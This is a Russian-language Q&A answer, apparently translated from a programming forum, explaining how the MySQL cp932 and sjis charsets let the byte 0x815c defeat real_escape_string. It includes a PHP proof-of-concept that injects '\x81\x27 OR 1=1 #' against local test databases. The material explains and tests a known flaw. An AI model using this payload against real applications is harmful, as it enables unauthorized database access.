Ответ 1
Дьявол в деталях... начнем с того, как ответит в вопросе описывает список уязвимых наборов символов:
Для того чтобы эта атака работала, нам нужна кодировка, которую сервер ожидает от соединения как для кодирования
'
, так и в ASCII, т.е.0x27
, и иметь некоторого символа, окончательный байт которого является ASCII\
т.е.0x5c
. Как оказалось, в MySQL 5.6 по умолчанию поддерживается 5 таких кодировок:big5
,cp932
,gb2312
,gbk
иsjis
. Мы выберемgbk
здесь.
Это дает нам некоторый контекст - 0xbf5c
используется как пример для gbk
, а не как универсальный символ для всех 5 наборов символов.
Так получилось, что одна и та же последовательность байтов также является допустимым символом в big5
и gb2312
.
В этот момент ваш вопрос становится таким же простым, как это:
Какая последовательность байтов является допустимым символом в
cp932
иsjis
и заканчивается на0x5c
?
Справедливости ради, большинство поисковых запросов Google, которые я пробовал для этих наборов символов, не дают никаких полезных результатов. Но я нашел этот файл CP932.TXT, в котором, если вы ищете '5c '
(с пробелом там), вы будете прыгать к этой строке:
0x815C 0x2015 #HORIZONTAL BAR
И у нас есть победитель!:)
Некоторый документ Oracle подтверждает, что 0x815c
является одним и тем же символом для cp932
и sjis
, и PHP тоже его распознает:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
Здесь PoC script для атаки:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}